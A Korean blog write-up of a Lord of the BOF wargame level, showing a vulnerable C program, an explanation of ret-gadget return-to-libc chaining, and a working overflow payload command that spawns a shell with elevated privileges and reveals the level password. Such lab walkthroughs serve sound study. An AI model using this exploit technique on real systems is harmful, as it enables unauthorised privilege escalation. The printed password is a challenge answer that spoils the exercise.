[LOB] level15, giant->assassin 풀이
- 시스템해킹/LordOfBof
- 2020. 4. 9. 00:30
LOB, giant -> assassin 문제 확인
이번엔 힌트에도 주어져 있듯이, 리턴 부분에 스택주소 영역과 라이브러리주소 영역이 전부 막혔기 때문에 RTL을 사용하지 못한다. 이럴땐 리턴 가젯을 사용하면 된다.
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf') // 스택영역 막힘
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40') // 라이브러리영역 막힘
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
LOB, giant -> assassin 풀이
RTL Chaining이란 아래 포스팅에서 자세히 설명한 적이 있다.
RTL(Return to Library) Chaining 이란?
ret은 <pop eip; jmp eip>를 수행하는 명령어로 현재 esp가 가리키고 있는 곳의 값을 eip에 넣은 후 eip로 점프한다. 그리고 중요한 것은, pop을 하기 때문에 esp가 +4가 된다.
따라서 아래와 같이 페이로드를 구성할 수 있는데 아래와 같이 페이로드를 구성하게 되면, 코드가 끝나 RET - 1 에 왔을 때 ret gadget의 위치로 점프하게 되고 그때 리턴주소로 저장되어있던 RET - 2의 system()의 주소로 인해 system함수가 실행되게 된다. 그리고 그때의 esp+4에 /bin/sh 문자열이 저장되어 있기 때문에 system("/bin/sh")가 실행되게 된다. 이해가 가지 않는다면 위 포스팅을 확인해 꼭 개념을 익히기 바란다.
buffer (40) |
RET - 1 &(ret gadget) |
RET - 2 &system() |
system() ret dummy |
system() argv &"/bin/sh" |
먼저 system 함수의 주소를 구한다.
/bin/sh 주소는 아래와 같이 구할 수 있다.
그리고 제일 중요한 ret 가젯은 아래와 같이 objdump를 사용해 구한다.
LOB, giant -> assassin 익스플로잇
따라서 < A*44 + &(reg gadget) + &system() + BBBB + &"/bin/sh" > 로 페이로드를 구성할 수 있다.
[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x35\x84\x04\x08"+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?BBBB
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away
'시스템해킹 > LordOfBof' 카테고리의 다른 글
[LOB] level16, assassin -> zombie_assassin 풀이 (0) | 2020.04.10 |
---|---|
[LOB] level14, bugbear -> giant 풀이 (0) | 2020.04.08 |
[LOB] level13, darknight -> bugbear 풀이 (0) | 2020.04.08 |
[LOB] level12, golem -> darknight 풀이 (SFP 조작) (0) | 2020.04.07 |
[LOB] level11, skeleton -> golem 풀이 (0) | 2020.04.06 |